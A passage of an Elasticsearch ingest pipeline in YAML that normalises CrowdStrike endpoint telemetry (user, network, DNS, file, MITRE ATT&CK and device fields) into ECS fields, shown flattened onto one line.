ctx.user?.id == null - field: crowdstrike.User.ID - target_field: user.id - ignore_missing: true - - remove: - tag: remove_crowdstrike_User - description: Remove User field if it still exist as Map. - if: ctx.crowdstrike?.User instanceof Map - field: crowdstrike.User - ignore_missing: true - - rename: - tag: rename_crowdstrike_UserName_to_user_name_5437c07f - if: ctx.crowdstrike?.UserName != null && ctx.user?.name == null - field: crowdstrike.UserName - target_field: user.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_User_to_user_name_bf245c5d - if: ctx.crowdstrike?.User instanceof String && ctx.user?.name == null - field: crowdstrike.User - target_field: user.name - ignore_missing: true - - split: - tag: split_crowdstrike_UserPrincipal_into__temp_user_parts_9fd1bce5 - if: ctx.crowdstrike?.UserPrincipal != null - field: crowdstrike.UserPrincipal - separator: '@' - target_field: _temp.user_parts - - rename: - tag: rename_crowdstrike_UserPrincipal_to_user_email_54920c0f - field: crowdstrike.UserPrincipal - target_field: user.email - ignore_missing: true - - set: - tag: set_user_domain_8dc33fc7 - if: ctx.user?.domain == null && ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - field: user.domain - value: '{{{_temp.user_parts.1}}}' - ignore_empty_value: true - ignore_failure: true - - append: - tag: append_user_domain_536a37ed - if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - field: user.domain - value: '{{{_temp.user_parts.1}}}' - allow_duplicates: false - ignore_failure: true - - set: - tag: set_user_full_name_7172c7bf - if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - field: user.full_name - value: '{{{_temp.user_parts.0}}}' - ignore_empty_value: true - ignore_failure: true - - set: - tag: set_user_name_e3f940d5 - if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') - field: user.name - copy_from: crowdstrike.SourceAccountSamAccountName - ignore_empty_value: true - - set: - tag: set_user_email_4558e3d3 - if: |- - ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') && - ctx.crowdstrike?.SourceAccountUserName instanceof String && ctx.crowdstrike.SourceAccountUserName.contains('@') - field: user.email - copy_from: crowdstrike.SourceAccountUserName - ignore_empty_value: true - - set: - tag: set_user_id_12584d3a - if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') - field: user.id - copy_from: crowdstrike.SourceEndpointAccountObjectSid - ignore_empty_value: true - - set: - tag: set_user_domain_acdd7f9f - if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') - field: user.domain - copy_from: crowdstrike.SourceAccountDomain - ignore_empty_value: true - - set: - tag: set_user_name_d3e6a828 - if: ctx.event?.action == 'TokenImpersonated' - field: user.name - copy_from: crowdstrike.OriginalUserName - ignore_empty_value: true - - set: - tag: set_user_id_5a4715df - if: ctx.event?.action == 'TokenImpersonated' - field: user.id - copy_from: crowdstrike.OriginalUserSid - ignore_empty_value: true - - set: - tag: set_user_target_name_e7ea9dab - if: ctx.event?.action == 'TokenImpersonated' - field: user.target.name - copy_from: crowdstrike.ImpersonatedUserName - ignore_empty_value: true - - set: - tag: set_user_name_3ad2bb37 - if: ctx.event?.action == 'SudoCommandAttempt' - field: user.name - copy_from: crowdstrike.OriginalUserName - ignore_empty_value: true - - set: - tag: set_user_name_14b4c00f - if: (ctx.user?.name == null || ctx.user.name == '') && ctx.event?.action == 'SudoCommandAttempt' - field: user.name - value: root - - set: - tag: set_user_id_78c7e383 - if: ctx.event?.action == 'SudoCommandAttempt' - field: user.id - copy_from: crowdstrike.OriginalUserID - ignore_empty_value: true - - set: - tag: set_user_id_7471f6df - if: ctx.user?.id == null && ctx.event?.action == 'SudoCommandAttempt' - field: user.id - value: 0 - - set: - tag: set_user_target_name_9dc9fd59 - if: ctx.event?.action == 'SudoCommandAttempt' - field: user.target.name - copy_from: crowdstrike.NewUsername - ignore_empty_value: true - - set: - tag: set_user_target_name_bd5b4743 - if: (ctx.user?.target?.name == null || ctx.user.target.name == '') && ctx.event?.action == 'SudoCommandAttempt' - field: user.target.name - value: root - - set: - tag: set_user_target_id_de692ea1 - if: ctx.event?.action == 'SudoCommandAttempt' - field: user.target.id - copy_from: crowdstrike.NewUserID - ignore_empty_value: true - - set: - tag: set_user_target_id_aeb7c3f6 - if: ctx.user?.target?.id == null && ctx.event?.action == 'SudoCommandAttempt' - field: user.target.id - value: 0 - - append: - tag: append_related_user_3b423052 - if: ctx.user?.name != null - field: related.user - value: '{{{user.name}}}' - allow_duplicates: false - ignore_failure: true - - append: - tag: append_related_user_f49500fe - if: ctx.crowdstrike?.info?.user?.User != null - field: related.user - value: '{{{crowdstrike.info.user.User}}}' - allow_duplicates: false - ignore_failure: true - - append: - tag: append_related_user_a621a20e - if: ctx.user?.full_name != null - field: related.user - value: '{{{user.full_name}}}' - allow_duplicates: false - ignore_failure: true - - append: - tag: append_related_user_fd5e2e77 - if: ctx.user?.target?.name != null - field: related.user - value: '{{{user.target.name}}}' - allow_duplicates: false - ignore_failure: true - - append: - tag: append_related_user_36d4b55a - if: ctx.user?.email != null - field: related.user - value: '{{{user.email}}}' - allow_duplicates: false - ignore_failure: true - - append: - tag: append_related_user_3b2f7fde - if: ctx.user?.id != null - field: related.user - value: '{{{user.id}}}' - allow_duplicates: false - ignore_failure: true - - # Networking fields. - - set: - tag: set_network_direction_outbound_0a78995a - if: ctx.crowdstrike?.ConnectionDirection == "0" - field: network.direction - value: outbound - - set: - tag: set_network_direction_inbound_3994c5e4 - if: ctx.crowdstrike?.ConnectionDirection == "1" - field: network.direction - value: inbound - - set: - tag: set_network_direction_unknown_85fe37dc - if: ctx.network?.direction == null && ctx.crowdstrike?.ConnectionDirection != null && ctx.crowdstrike.ConnectionDirection != "" - field: network.direction - value: unknown - - split: - tag: split_crowdstrike_LocalAddressIP4_f22b33b0 - if: ctx.crowdstrike?.LocalAddressIP4 != null - field: crowdstrike.LocalAddressIP4 - separator: \s+ - - convert: - tag: convert_crowdstrike_LocalAddressIP4_to_ip_51f6b345 - if: ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0 - field: crowdstrike.LocalAddressIP4 - type: ip - on_failure: - - append: - tag: append_error_message_e88e196b - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_RemoteAddressIP4_to_ip_4294f17c - field: crowdstrike.RemoteAddressIP4 - type: ip - ignore_missing: true - - foreach: - tag: foreach_of_crowdstrike_LocalAddressIP4_6d151b47 - if: ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0 - field: crowdstrike.LocalAddressIP4 - processor: - append: - tag: append_related_ip_8dd5b5a0 - field: related.ip - value: '{{{_ingest._value}}}' - allow_duplicates: false - - split: - tag: split_crowdstrike_LocalAddressIP6_fc0e2aa0 - if: ctx.crowdstrike?.LocalAddressIP6 != null - field: crowdstrike.LocalAddressIP6 - separator: \s+ - - convert: - tag: convert_crowdstrike_LocalAddressIP6_to_ip_7bf75c3b - if: ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0 - field: crowdstrike.LocalAddressIP6 - type: ip - on_failure: - - append: - tag: append_error_message_6fd2c379 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_RemoteAddressIP6_to_ip_cc6268b6 - field: crowdstrike.RemoteAddressIP6 - type: ip - ignore_missing: true - - foreach: - tag: foreach_of_crowdstrike_LocalAddressIP6_73647309 - if: ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0 - field: crowdstrike.LocalAddressIP6 - processor: - append: - tag: append_related_ip_d68eb75e - field: related.ip - value: '{{{_ingest._value}}}' - allow_duplicates: false - # The condition for this processor is all non-inbound, but the pipeline operates assuming the - # traffic is outbound. In cases where there is no information we make this assumption rather - # than dropping the data on the floor. - - pipeline: - tag: pipeline_outbound_network_dff2c778 - if: ctx.network?.direction != 'inbound' - name: '{{ IngestPipeline "outbound_network" }}' - - pipeline: - tag: pipeline_inbound_network_256f4a6b - if: ctx.network?.direction == 'inbound' - name: '{{ IngestPipeline "inbound_network" }}' - - rename: - tag: rename_crowdstrike_Protocol_to_network_iana_number_c957cab0 - field: crowdstrike.Protocol - target_field: network.iana_number - ignore_missing: true - - script: - tag: network_transport_lookup_6cfaca70 - if: ctx.network?.iana_number != null - source: |- - def iana_number = ctx.network.iana_number; - if (iana_number == '0') { - ctx.network.transport = 'hopopt'; - } else if (iana_number == '1') { - ctx.network.transport = 'icmp'; - } else if (iana_number == '2') { - ctx.network.transport = 'igmp'; - } else if (iana_number == '6') { - ctx.network.transport = 'tcp'; - } else if (iana_number == '8') { - ctx.network.transport = 'egp'; - } else if (iana_number == '17') { - ctx.network.transport = 'udp'; - } else if (iana_number == '47') { - ctx.network.transport = 'gre'; - } else if (iana_number == '50') { - ctx.network.transport = 'esp'; - } else if (iana_number == '58') { - ctx.network.transport = 'ipv6-icmp'; - } else if (iana_number == '112') { - ctx.network.transport = 'vrrp'; - } else if (iana_number == '132') { - ctx.network.transport = 'sctp'; - } - - community_id: - tag: community_id_99f56bc8 - ignore_missing: true - ignore_failure: true - - append: - tag: append_related_ip_de300c66 - if: ctx.source?.ip != null && ctx.source.ip != "" - field: related.ip - value: '{{{source.ip}}}' - allow_duplicates: false - - append: - tag: append_related_ip_cb5f9c4b - if: ctx.destination?.ip != null && ctx.destination.ip != "" - field: related.ip - value: '{{{destination.ip}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_MAC_to_source_mac_41d0f60c - field: crowdstrike.MAC - target_field: source.mac - ignore_missing: true - - rename: - tag: rename_crowdstrike_PhysicalAddress_to_source_mac_92994720 - if: ctx.source?.mac == null - field: crowdstrike.PhysicalAddress - target_field: source.mac - ignore_missing: true - - uppercase: - tag: uppercase_source_mac_5b4e7be2 - field: source.mac - ignore_missing: true - - rename: - tag: rename_crowdstrike_DownloadServer_to_server_address_42a5dc43 - field: crowdstrike.DownloadServer - target_field: server.address - ignore_missing: true - - rename: - tag: rename_crowdstrike_DownloadPath_to_url_path_93fc692a - field: crowdstrike.DownloadPath - target_field: url.path - ignore_missing: true - - # URL fields. - - set: - tag: set_url_path_da9a4fde - if: ctx.url?.path != null && !ctx.url.path.startsWith("/") - field: url.path - value: /{{{url.path}}} - - registered_domain: - tag: registered_domain_server_address_into_server_5b9b14fb - field: server.address - target_field: server - ignore_missing: true - - set: - tag: set_url_scheme_73338c43 - if: ctx.crowdstrike?.DownloadPort == 443 - field: url.scheme - value: https - - set: - tag: set_url_scheme_d61be5fe - if: ctx.crowdstrike?.DownloadPort != null && ctx.crowdstrike.DownloadPort != 443 - field: url.scheme - value: http - - set: - tag: set_url_full_fbad7e02 - if: ctx.url?.scheme != null && ctx.server?.address != null && ctx.url?.path != null - field: url.full - value: '{{{url.scheme}}}://{{{server.address}}}{{{url.path}}}' - - uri_parts: - tag: uri_parts_url_full_443b4650 - if: ctx.url?.full != null - field: url.full - - registered_domain: - tag: registered_domain_url_domain_into_url_78008ed6 - field: url.domain - target_field: url - ignore_missing: true - ignore_failure: true - - # IP Geolocation Lookup. - - geoip: - tag: geoip_observer_ip_into_observer_geo_0729ba64 - field: observer.ip - target_field: observer.geo - ignore_missing: true - - geoip: - tag: geoip_source_ip_into_source_geo_fcc86651 - field: source.ip - target_field: source.geo - first_only: true - ignore_missing: true - - geoip: - tag: geoip_destination_ip_into_destination_geo_ab5e2968 - field: destination.ip - target_field: destination.geo - ignore_missing: true - - # IP Autonomous System (AS) Lookup - - geoip: - tag: geoip_source_ip_into_source_as_56e63fbc - field: source.ip - target_field: source.as - database_file: GeoLite2-ASN.mmdb - first_only: true - properties: - - asn - - organization_name - ignore_missing: true - - rename: - tag: rename_source_as_asn_to_source_as_number_a917047d - field: source.as.asn - target_field: source.as.number - ignore_missing: true - - rename: - tag: rename_source_as_organization_name_to_source_as_organization_name_f1362d0b - field: source.as.organization_name - target_field: source.as.organization.name - ignore_missing: true - - geoip: - tag: geoip_destination_ip_into_destination_as_8a007787 - field: destination.ip - target_field: destination.as - database_file: GeoLite2-ASN.mmdb - properties: - - asn - - organization_name - ignore_missing: true - - rename: - tag: rename_destination_as_asn_to_destination_as_number_3b459fcd - field: destination.as.asn - target_field: destination.as.number - ignore_missing: true - - rename: - tag: rename_destination_as_organization_name_to_destination_as_organization_name_814bd459 - field: destination.as.organization_name - target_field: destination.as.organization.name - ignore_missing: true - - # DNS fields. - - set: - tag: set_dns_type_2198a4ce - if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest") - field: dns.type - value: query - - set: - tag: set_network_protocol_6995faae - if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest") - field: network.protocol - value: dns - - registered_domain: - tag: registered_domain_crowdstrike_DomainName_into_dns_question_8498515b - if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest") - field: crowdstrike.DomainName - target_field: dns.question - ignore_missing: true - - rename: - tag: rename_dns_question_domain_to_dns_question_name_699a0f98 - if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest") - field: dns.question.domain - target_field: dns.question.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_DomainName_to_dns_question_name_5cc610bf - if: ctx.event?.action != null && ctx.dns?.question?.name == null && ctx.event.action.contains("DnsRequest") - field: crowdstrike.DomainName - target_field: dns.question.name - ignore_missing: true - - script: - description: Map decimal DNS request type to its name. - tag: dns_request_type_to_name_d668973b - if: ctx.event?.action != null && ctx.crowdstrike?.RequestType != null && !ctx.crowdstrike.RequestType.isEmpty() && ctx.event.action.contains("DnsRequest") - params: - "1": A - "2": NS - "5": CNAME - "6": SOA - "12": PTR - "13": HINFO - "15": MX - "16": TXT - "17": RP - "18": AFSDB - "24": SIG - "25": KEY - "28": AAAA - "29": LOC - "33": SRV - "35": NAPTR - "36": KX - "37": CERT - "39": DNAME - "42": APL - "43": DS - "44": SSHFP - "45": IPSECKEY - "46": RRSIG - "47": NSEC - "48": DNSKEY - "49": DHCID - "50": NSEC3 - "51": NSEC3PARAM - "52": TLSA - "53": SMIMEA - "55": HIP - "59": CDS - "60": CDNSKEY - "61": OPENPGPKEY - "62": CSYNC - "63": ZONEMD - "64": SVCB - "65": HTTPS - "108": EUI48 - "109": EUI64 - "249": TKEY - "250": TSIG - "256": URI - "257": CAA - "32768": TA - "32769": DLV - source: |- - def t = params[ctx.crowdstrike.RequestType]; - if (t != null) { - if (ctx.dns?.question == null) { - ctx.dns.question = new HashMap(); - } - ctx.dns.question.type = t; - ctx.crowdstrike.remove("RequestType"); - } - - # SMB fields. - - registered_domain: - tag: registered_domain_crowdstrike_DomainName_into_destination_d257bdc5 - if: ctx.event?.action != null && ctx.event.action.contains("SmbServerShareOpenedEtw") - field: crowdstrike.DomainName - target_field: destination - ignore_missing: true - - rename: - tag: rename_crowdstrike_DomainName_to_destination_domain_ce83b813 - if: ctx.event?.action != null && ctx.destination?.domain == null && ctx.event.action.contains("SmbServerShareOpenedEtw") - field: crowdstrike.DomainName - target_field: destination.domain - ignore_missing: true - - # File fields. - - set: - tag: set_file_pe_original_file_name_18b6c509 - if: ctx._temp?.isFile == true && ctx.host?.os?.type == 'windows' - field: file.pe.original_file_name - copy_from: crowdstrike.OriginalFilename - ignore_empty_value: true - - convert: - tag: convert_crowdstrike_Size_to_long_e1288c18 - field: crowdstrike.Size - type: long - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_Size_to_file_size_ff917179 - field: crowdstrike.Size - target_field: file.size - ignore_missing: true - - rename: - tag: rename_crowdstrike_FileIdentifier_to_file_inode_0a17a91b - field: crowdstrike.FileIdentifier - target_field: file.inode - ignore_missing: true - - set: - tag: set_file_Ext_original_path_9b97db2e - if: ctx.event?.action == 'NewExecutableRenamed' || ctx.event?.action == 'FileRenameInfo' - field: file.Ext.original.path - copy_from: crowdstrike.SourceFileName - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_SourceFileName_to_file_path_2d976c16 - field: crowdstrike.SourceFileName - target_field: file.path - ignore_missing: true - - rename: - tag: rename_crowdstrike_TargetFileName_to_file_path_069dcf4c - if: ctx.file?.path == null - field: crowdstrike.TargetFileName - target_field: file.path - ignore_missing: true - ignore_failure: true - - set: - tag: set_file_path_4a274218 - if: ctx.event?.action == 'NewExecutableRenamed' || ctx.event?.action == 'FileRenameInfo' - field: file.path - copy_from: crowdstrike.TargetFileName - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_DiskParentDeviceInstanceId_to_file_device_f0e46ae0 - field: crowdstrike.DiskParentDeviceInstanceId - target_field: file.device - ignore_missing: true - - set: - tag: set_file_type_f7adee81 - if: ctx.file?.path != null && ctx.file.type == null && ctx.event?.action != null && !ctx.event.action.contains("Directory") - field: file.type - value: file - - set: - tag: set_file_type_d001ae21 - if: ctx.file?.path != null && ctx.event?.action != null && (ctx.event.action.contains("Directory") || ctx.file.path.endsWith("\\") || ctx.file.path.endsWith("/")) - field: file.type - value: dir - - script: - description: Adds file information. - tag: parse_file_path_387a3a29 - if: ctx.file?.path != null && ctx.file.path.length() > 1 - source: |- - def removeSuffix(String s, String suffix) { - if (s != null && suffix != null && s.endsWith(suffix)) { - return s.substring(0, s.length() - suffix.length()); - } - return s; - } - - def path = removeSuffix(ctx.file.path, "/"); - path = removeSuffix(path, "\\"); - def idx = path.lastIndexOf("\\"); - if (idx == -1) { - idx = path.lastIndexOf("/"); - } - if (idx > -1) { - if (ctx.file == null) { - ctx.file = new HashMap(); - } - ctx.file.name = path.substring(idx+1); - ctx.file.directory = path.substring(0, idx); - - def extIdx = ctx.file.name.lastIndexOf("."); - if (extIdx > -1 && ctx.file.type == "file") { - ctx.file.extension = ctx.file.name.substring(extIdx+1); - } - } - if (path.indexOf(':') == 1) { - ctx.file.drive_letter = path.substring(0, 1).toUpperCase(); - } - - script: - description: Adds file.Ext.original.* information. - tag: parse_file_ext_original_path_3333a0b6 - if: ctx.file?.Ext?.original?.path != null && ctx.file.Ext.original.path.length() > 1 - source: |- - def removeSuffix(String s, String suffix) { - if (s != null && suffix != null && s.endsWith(suffix)) { - return s.substring(0, s.length() - suffix.length()); - } - return s; - } - - def path = removeSuffix(ctx.file.Ext.original.path, "/"); - path = removeSuffix(path, "\\"); - def idx = path.lastIndexOf("\\"); - if (idx == -1) { - idx = path.lastIndexOf("/"); - } - if (idx > -1) { - ctx.file.Ext.original.name = path.substring(idx+1); - } - - rename: - tag: rename__temp_hashes_to_file_hash_4f3ee7d5 - if: ctx.event?.action != null && (ctx.event.action.contains("File") || ctx.event.action.contains("Directory") || ctx.event.action.contains("Executable")) && ctx._temp?.hashes != null && ctx._temp?.hashes.size() > 0 - field: _temp.hashes - target_field: file.hash - - set: - tag: set_process_name_e2490a66 - if: ctx.event?.action != null && ctx.event.action.endsWith('Written') - field: process.name - copy_from: crowdstrike.ContextBaseFileName - ignore_empty_value: true - - set: - tag: set_process_executable_f5f831a3 - if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'windows' - field: process.executable - copy_from: crowdstrike.ContextImageFileName - ignore_empty_value: true - - set: - tag: set_file_hash_sha256_1abd2cde - if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'linux' - field: file.hash.sha256 - copy_from: crowdstrike.SHA256HashData - ignore_empty_value: true - - set: - tag: set_event_action_526984f8 - if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'windows' - field: event.action - value: creation - - # Device Fields. - - set: - tag: set_device_id_from_crowdstrike_SensorId_99cb3a0a - field: device.id - copy_from: crowdstrike.SensorId - ignore_empty_value: true - - set: - tag: set_device_id_from_crowdstrike_DeviceId_d95e3c57 - if: ctx.device?.id == null - field: device.id - copy_from: crowdstrike.DeviceId - ignore_empty_value: true - - set: - tag: set_device_id_from_observer_serial_number_d165cc83 - if: ctx.device?.id == null - field: device.id - copy_from: observer.serial_number - ignore_empty_value: true - - # Threat Fields. - - foreach: - tag: foreach_of_crowdstrike_Attacks_with_Technique_345d0faa - if: ctx.crowdstrike?.Attacks instanceof List - field: crowdstrike.Attacks - processor: - append: - tag: append_threat_technique_name_bbf3ed48 - field: threat.technique.name - value: '{{{_ingest._value.Technique}}}' - allow_duplicates: false - - foreach: - tag: foreach_of_crowdstrike_Attacks_with_Tactic_345d0faa - if: ctx.crowdstrike?.Attacks instanceof List - field: crowdstrike.Attacks - processor: - append: - tag: append_threat_tactic_name_9aebe2d8 - field: threat.tactic.name - value: '{{{_ingest._value.Tactic}}}' - allow_duplicates: false - - - foreach: - tag: foreach_of_crowdstrike_MitreAttack_for_Tactic_268c02de - if: ctx.crowdstrike?.MitreAttack instanceof List - field: crowdstrike.MitreAttack - processor: - append: - tag: append_threat_tactic_name_b021c3ec - field: threat.tactic.name - value: '{{{_ingest._value.Tactic}}}' - allow_duplicates: false - - foreach: - tag: foreach_of_crowdstrike_MitreAttack_for_TacticID_268c02de - if: ctx.crowdstrike?.MitreAttack instanceof List - field: crowdstrike.MitreAttack - processor: - append: - tag: append_threat_tactic_id_4d499747 - field: threat.tactic.id - value: '{{{_ingest._value.TacticID}}}' - allow_duplicates: false - - foreach: - tag: foreach_of_crowdstrike_MitreAttack_for_Technique_268c02de - if: ctx.crowdstrike?.MitreAttack instanceof List - field: crowdstrike.MitreAttack - processor: - append: - tag: append_threat_technique_name_af6387ac - field: threat.technique.name - value: '{{{_ingest._value.Technique}}}' - allow_duplicates: false - - foreach: - tag: foreach_of_crowdstrike_MitreAttack_for_TechniqueID_268c02de - if: ctx.crowdstrike?.MitreAttack instanceof List - field: crowdstrike.MitreAttack - processor: - append: - tag: append_threat_technique_id_70f7c093 - field: threat.technique.id - value: '{{{_ingest._value.TechniqueID}}}' - allow_duplicates: false - - # Package fields. - - script: - tag: set_browser_extension_architecture_value_8a719036 - if: ctx.crowdstrike?.BrowserExtensionArchitecture != null - params: - "0": UNKNOWN - "1": MANIFEST_V2 - "2": MANIFEST_V3 - "3": SAFARI_APP - source: |- - ctx.package = ctx.package ?: [:]; - ctx.package.architecture = params[ctx.crowdstrike.BrowserExtensionArchitecture]; - - rename: - tag: rename_crowdstrike_BrowserExtensionInstalledTimestamp_to_package_installed_ae5bafc8 - field: crowdstrike.BrowserExtensionInstalledTimestamp - target_field: package.installed - ignore_missing: true - - rename: - tag: rename_crowdstrike_BrowserExtensionName_to_package_name_d5505948 - field: crowdstrike.BrowserExtensionName - target_field: package.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_BrowserExtensionPath_to_package_path_647267b0 - field: crowdstrike.BrowserExtensionPath - target_field: package.path - ignore_missing: true - - rename: - tag: rename_crowdstrike_BrowserExtensionVersion_to_package_version_ba30a7f2 - field: crowdstrike.BrowserExtensionVersion - target_field: package.version - ignore_missing: true - - # Crowdstrike fields. - - split: - tag: split_crowdstrike_ContextProcessTagsAsString_e39a5350 - field: crowdstrike.ContextProcessTagsAsString - separator: ',' - ignore_missing: true - - split: - tag: split_crowdstrike_PatternIdList_6b5d8159 - field: crowdstrike.PatternIdList - separator: ',' - ignore_missing: true - - split: - tag: split_crowdstrike_ParentProcessPatternIdList_64341668 - field: crowdstrike.ParentProcessPatternIdList - separator: ',' - ignore_missing: true - - split: - tag: split_crowdstrike_GrandparentProcessPatternIdList_f5f8d60e - field: crowdstrike.GrandparentProcessPatternIdList - separator: ',' - ignore_missing: true - - script: - tag: set_browser_extension_install_method_value_ac2ab447 - if: ctx.crowdstrike?.BrowserExtensionInstallMethod != null - params: - "0": UNIDENTIFIED - "1": BROWSER - "2": WEBSTORE - "3": GPO - "4": SIDELOADED - "5": WEBSTORE_3RD_PARTY - source: ctx.crowdstrike.BrowserExtensionInstallMethod = params[ctx.crowdstrike.BrowserExtensionInstallMethod]; - - split: - tag: split_crowdstrike_FalconGroupingTags_423c786c - field: crowdstrike.FalconGroupingTags - separator: ',\s?' - ignore_missing: true - ignore_failure: true - - split: - tag: split_crowdstrike_SensorGroupingTags_ed3b4811 - field: crowdstrike.SensorGroupingTags - separator: ',\s?' - ignore_missing: true - ignore_failure: true - - script: - description: Convert tags for indexing as keyword. - tag: convert_tags_789cbb4f - if: ctx.crowdstrike?.Tags != null - source: |- - def result = []; - - if (ctx.crowdstrike.Tags instanceof String) { - def parts = ctx.crowdstrike.Tags.splitOnToken(","); - for (def part : parts) { - def trimmed = part.trim(); - if (trimmed != "") { - result.add(trimmed); - } - } - } else if (ctx.crowdstrike.Tags instanceof Map) { - for (def entry : ctx.crowdstrike.Tags.entrySet()) { - result.add(entry.getKey() + ":" + entry.getValue()); - } - } else if (ctx.crowdstrike.Tags instanceof List) { - for (def tag : ctx.crowdstrike.Tags) { - if (tag instanceof Map) { - // this format is seen in the falcon data stream - result.add(tag["Key"] + ":" + tag["ValueString"]); - } else if (tag instanceof String) { - // this isn't expected but avoid throwing away indexable data - result.add(tag); - } - } - } - - ctx.crowdstrike.Tags = result; - - split: - tag: split_crowdstrike_CallStackModuleNames_609f3d51 - field: crowdstrike.CallStackModuleNames - separator: \| - ignore_missing: true - ignore_failure: true - - convert: - tag: convert_crowdstrike_UserTime_to_long_f085b7ec - field: crowdstrike.UserTime - type: long - ignore_missing: true - - convert: - tag: convert_crowdstrike_KernelTime_to_long_33fe5662 - field: crowdstrike.KernelTime - type: long - ignore_missing: true - - convert: - tag: convert_crowdstrike_CycleTime_to_long_7a83e985 - field: crowdstrike.CycleTime - type: long - ignore_missing: true - - append: - tag: append_related_hash_8fcac57a - if: ctx.crowdstrike?.ConfigStateHash != null && ctx.crowdstrike.ConfigStateHash != "" - field: related.hash - value: '{{{crowdstrike.ConfigStateHash}}}' - allow_duplicates: false - ignore_failure: true - - trim: - tag: trim_crowdstrike_BootArgs_f8d8d2c8 - field: crowdstrike.BootArgs - ignore_missing: true - - split: - tag: split_crowdstrike_BootArgs_cf296683 - field: crowdstrike.BootArgs - separator: \s+ - ignore_missing: true - - date: - tag: date_crowdstrike_LogonTime_into_crowdstrike_LogonTime_c8a2b6df - if: ctx.crowdstrike?.LogonTime != null && ctx.crowdstrike.LogonTime != '' && ctx.crowdstrike.LogonTime != 'none' - field: crowdstrike.LogonTime - target_field: crowdstrike.LogonTime - formats: - - UNIX - ignore_failure: true - - date: - tag: date_crowdstrike_LogoffTime_into_crowdstrike_LogoffTime_1382cc79 - if: ctx.crowdstrike?.LogoffTime != null && ctx.crowdstrike.LogoffTime != '' && ctx.crowdstrike.LogoffTime != 'none' - field: crowdstrike.LogoffTime - target_field: crowdstrike.LogoffTime - formats: - - UNIX - ignore_failure: true - - date: - tag: date_crowdstrike_ConnectTime_into_crowdstrike_ConnectTime_c13b62a8 - if: ctx.crowdstrike?.ConnectTime != null && ctx.crowdstrike.ConnectTime != '' && ctx.crowdstrike.ConnectTime != 'none' - field: crowdstrike.ConnectTime - target_field: crowdstrike.ConnectTime - formats: - - UNIX - ignore_failure: true - - date: - tag: date_crowdstrike_PreviousConnectTime_into_crowdstrike_PreviousConnectTime_6679f281 - if: ctx.crowdstrike?.PreviousConnectTime != null && ctx.crowdstrike.PreviousConnectTime != '' && ctx.crowdstrike.PreviousConnectTime != 'none' - field: crowdstrike.PreviousConnectTime - target_field: crowdstrike.PreviousConnectTime - formats: - - UNIX - ignore_failure: true - - date: - tag: date_crowdstrike_AgentLocalTime_into_crowdstrike_AgentLocalTime_e869dd14 - if: ctx.crowdstrike?.AgentLocalTime != null && ctx.crowdstrike.AgentLocalTime != '' && ctx.crowdstrike.AgentLocalTime != 'none' - field: crowdstrike.AgentLocalTime - target_field: crowdstrike.AgentLocalTime - formats: - - UNIX - ignore_failure: true - - date: - tag: date_crowdstrike_FirstSeen_into_crowdstrike_FirstSeen_f4b197de - if: ctx.crowdstrike?.FirstSeen != null && ctx.crowdstrike.FirstSeen != '' && ctx.crowdstrike.FirstSeen != 'none' - field: crowdstrike.FirstSeen - target_field: crowdstrike.FirstSeen - formats: - - UNIX - ignore_failure: true - - date: - tag: date_crowdstrike_BiosReleaseDate_into_crowdstrike_BiosReleaseDate_767fd760 - if: ctx.crowdstrike?.BiosReleaseDate != null && ctx.crowdstrike.BiosReleaseDate != '' && ctx.crowdstrike.BiosReleaseDate != 'none' - field: crowdstrike.BiosReleaseDate - target_field: crowdstrike.BiosReleaseDate - formats: - - MM/dd/yyyy - - strict_date_optional_time - ignore_failure: true - - convert: - tag: convert_crowdstrike_AgentTimeOffset_to_float_75f59e63 - field: crowdstrike.AgentTimeOffset - type: float - ignore_missing: true - - convert: - tag: convert_crowdstrike_Timeout_to_long_2991d669 - field: crowdstrike.Timeout - type: long - ignore_missing: true - - convert: - tag: convert_crowdstrike_PhysicalAddressLength_to_long_6bb860dd - field: crowdstrike.PhysicalAddressLength - type: long - ignore_missing: true - - convert: - tag: convert_crowdstrike_InterfaceIndex_to_long_fe55bcd9 - field: crowdstrike.InterfaceIndex - type: long - ignore_missing: true - - convert: - tag: convert_crowdstrike_NetLuidIndex_to_long_9cf46a5f - field: crowdstrike.NetLuidIndex - type: long - ignore_missing: true - - convert: - tag: convert_crowdstrike_AttemptNumber_to_long_8257d63c - field: crowdstrike.AttemptNumber - type: long - ignore_missing: true - - convert: - tag: convert_crowdstrike_SystemTableIndex_to_long_386dfbbd - field: crowdstrike.SystemTableIndex - type: long - ignore_missing: true - - split: - tag: split_crowdstrike_NeighborList_1d18434a - field: crowdstrike.NeighborList - 